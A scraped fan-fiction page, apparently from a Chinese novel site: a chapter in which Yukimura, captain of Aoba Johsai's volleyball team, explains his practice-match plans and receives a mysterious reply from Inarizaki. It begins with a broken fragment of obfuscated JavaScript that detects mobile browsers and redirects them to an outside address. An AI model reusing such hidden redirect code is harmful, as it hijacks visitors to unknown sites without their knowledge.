l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16570639|182484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手，这也是为什么幸村拜托后援团来帮忙后，身为会长的她会亲自带队过来的原因。 藤原也想知道，青叶城西在幸村的手底下会绽放出怎么的光彩！ “我就不打扰你了，现在先去准备大家的午餐了。” 幸村点点头，礼貌道谢：“嗯，辛苦几位学姐和结奈同学了。” 藤原潇洒地挥挥手，转身回了屋。 身后，幸村打开信封，看到上面字迹不由愣住。 青叶城西想要变强，仅仅只是训练还是不够的，他还需要真正的比赛来检验这支队伍集训的成果。 因此，在安排集训之余，幸村还以青叶城西排球部的名义给今年三月参加樱排的私立高校发了一份练习赛的邀请涵。 嗯，除了青叶城西晋级全国大赛的拦路虎——白鸟泽。 当及川知道幸村这样广撒网的时候，直接被他这样的操作惊呆了，同时也很疑惑他为什么不邀请白鸟泽。 毕竟，以幸村和牛岛的关系，白鸟泽应邀的可能性几乎是九成九。 记得幸村当时的回答是——白鸟泽是我们的队伍起来后，磨砺大家最好的一把刀，用在这里实在太浪费了。 而且，就以往的比赛来看，青叶城西输给白鸟泽太多次了，继续和他们打练习赛，只会给人一种落败是常态，获胜才不正常的错觉。 到时候队员都已经接受了同样的命运，还怎么掀起“革命”呢？ 关键的一颗棋子，自然是要落在它该在的位置之上。 不过，虽然幸村锲而不舍地广撒网，但是收到回信的却是寥寥。 而就在今早，他终于收到了一封回信。 很意外的，回信的学校是位于兵库县的稻荷崎高校。 回信的内容也非常有意思。 “期待在五月二十日与您相见——幸村队长！” 后面还跟了一只简笔画的小狐狸。 看到回信的时候，幸村很意外，而且特别意外。 他寄出的邀请涵是以“青叶城西排球部”的名义，并不是以他个人的名义，但是从对方的回信来看，对方不仅知道他是谁，居然还知道他如今是青叶城西的队长了。 宫城县的事情，就连乌野他们都不知道，可远在千里之外兵库县的稻荷崎却知道了，幸村也不知道是该感叹对方信息网的强大呢？还是揣测对面有着自己的老熟人？ 以他的第六感为准，幸村觉得是后者——稻荷崎有他认识的人，并且对自己还相当熟悉。 “五月二十日吗？”不是周末，只是一个平常的星期三。 ‘所以，究竟会是谁呢？与我又是什么样的关系？’ ‘他也打排球吗？可是一开始我明明对排球很陌生……’ 各种思绪纷至沓来，幸村越是回想，额上的细汗越多，大脑深处传来的阵痛，似乎在组织他继续深想下去。 再次看了一眼明信片上的内容，幸村这才将卡片放回信封之中。 “不管是谁，五月二十日自然会揭晓答案。”